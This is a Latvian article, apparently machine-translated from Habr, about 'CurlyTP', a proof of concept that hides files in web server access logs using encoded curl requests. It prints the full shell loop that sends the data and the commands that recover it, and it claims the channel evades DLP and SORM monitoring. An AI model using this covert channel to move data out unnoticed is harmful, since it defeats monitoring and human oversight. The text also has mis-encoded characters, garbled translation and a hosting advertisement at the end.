Slepeno ziņojumu apmaiņa, izmantojot servera žurnālus

Saskaņā ar Vikipēdiju, "miruŔā drop" ir slepena ierÄ«ce, ko izmanto informācijas vai priekÅ”metu apmaiņai starp cilvēkiem, izmantojot slepenu atraÅ”anās vietu. Ideja ir tāda, ka cilvēki nekad nesatiekas, bet joprojām apmainās ar informāciju, saglabājot operatÄ«vo droŔību.

Slēptuvei nevajadzētu piesaistÄ«t uzmanÄ«bu. Tāpēc reālajā pasaulē bieži tiek izmantoti neuzkrÄ«toÅ”i priekÅ”meti: brÄ«vs Ä·ieÄ£elis sienā, bibliotēkas grāmata vai dobums kokā.

TieÅ”saistē ir pieejami daudzi Å”ifrēŔanas un anonimizācijas rÄ«ki, taču pats fakts, ka tos izmanto, piesaista uzmanÄ«bu. Turklāt tos var bloķēt korporatÄ«vajā vai valdÄ«bas lÄ«menÄ«. Ko jums darÄ«t?

Izstrādātājs Raiens Flauerss ir izdomājis interesantu risinājumu: izmantot jebkuru tÄ«mekļa serveri kā keÅ”atmiņuJa padomā, ko dara tÄ«mekļa serveris? Tas pieņem pieprasÄ«jumus, apkalpo failus un raksta žurnālu. Un tas reÄ£istrē visus pieprasÄ«jumus, pat nepareizas!

Izrādās, ka jebkurÅ” tÄ«mekļa serveris var saglabāt praktiski jebkuru ziņojumu savā žurnālā. Flauers sāka domāt, kā to izmantot.

ViņŔ iesaka Ŕādu variantu:

  1. Mēs ņemam teksta failu (slepeno ziņojumu) un aprēķinām heÅ”u (md5sum).
  2. Mēs to kodējam (gzip+uuencode).
  3. Mēs rakstām žurnālā, apzināti nosūtot serverim nepareizu pieprasījumu.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Lai lasÄ«tu failu, Ŕīs darbÄ«bas jāveic apgrieztā secÄ«bā: atÅ”ifrēt un izsaiņot failu, pārbaudÄ«t jaucējkodu (jaucējkodu var droÅ”i pārsÅ«tÄ«t pa atvērtiem kanāliem).

Atstarpes tiek aizstātas ar =+=, tāpēc adresē nav atstarpju. Programma, ko autors sauc par CurlyTP, izmanto base64 kodējumu, tāpat kā e-pasta pielikumos. Pieprasījums tiek veikts ar atslēgvārdu. ?transfer?lai saņēmējs to varētu viegli atrast žurnālos.

Ko mēs Å”ajā gadÄ«jumā redzam protokolos?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Kā jau minēts, lai iegūtu slepenu ziņojumu, darbības jāveic apgrieztā secībā:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Procesu var viegli automatizēt. md5sum sakrīt, un faila saturs apstiprina, ka viss ir dekodēts pareizi.

Metode ir ļoti vienkārÅ”a. "Å Ä« vingrinājuma mērÄ·is ir vienkārÅ”i pierādÄ«t, ka failus var pārsÅ«tÄ«t, izmantojot nevainÄ«gus mazus tÄ«mekļa pieprasÄ«jumus, un ka tas darbojas jebkurā tÄ«mekļa serverÄ« ar vienkārÅ”a teksta žurnāliem. BÅ«tÄ«bā katrs tÄ«mekļa serveris ir nederÄ«gs!" raksta Flauerss.

Protams, Ŕī metode darbojas tikai tad, ja saņēmējam ir piekļuve servera žurnāliem. Taču, piemēram, daudzi mitināŔanas pakalpojumu sniedzēji nodroÅ”ina Ŕādu piekļuvi.

Kā to izmantot?

Raiens Flauers saka, ka viņŔ nav informācijas droŔības eksperts un neapkopos iespējamo CurlyTP lietojumu sarakstu. Viņam tas ir vienkārÅ”i koncepcijas pierādÄ«jums tam, ka pazÄ«stamus rÄ«kus, ko redzam ikdienā, var izmantot netradicionālos veidos.

Faktiski Å”ai metodei ir vairākas priekÅ”rocÄ«bas salÄ«dzinājumā ar citām servera ā€œslēptuvēmā€, piemēram, Digitālais miruÅ”o piliens vai Pirātu kasteTam nav nepiecieÅ”ama Ä«paÅ”a servera puses konfigurācija vai protokoli, un tas neradÄ«s aizdomas datplÅ«smas monitoru vidÅ«. Maz ticams, ka SORM vai DLP sistēmas skenēs URL, meklējot saspiestus teksta failus.

Šis ir viens no veidiem, kā pārsūtīt ziņojumus, izmantojot pakalpojumu failus. Jūs, iespējams, atceraties, kā daži progresīvi uzņēmumi agrāk izvietoja HTTP galvenes izstrādātāju darbi vai HTML lapu kodā.

Slepeno ziņojumu apmaiņa, izmantojot servera žurnālus

Ideja bija tāda, ka Ŕādu Lieldienu olu redzēs tikai tÄ«mekļa izstrādātāji, jo normāls cilvēks neskatÄ«tos galvenes vai HTML kodu.

Slepeno ziņojumu apmaiņa, izmantojot servera žurnālus

Avots: www.habr.com

Iegādājieties uzticamu mitināŔanu vietnēm ar DDoS aizsardzÄ«bu, VPS VDS serveriem šŸ”„ Iegādājieties uzticamu tÄ«mekļa vietņu mitināŔanu ar DDoS aizsardzÄ«bu, VPS VDS serveriem | ProHoster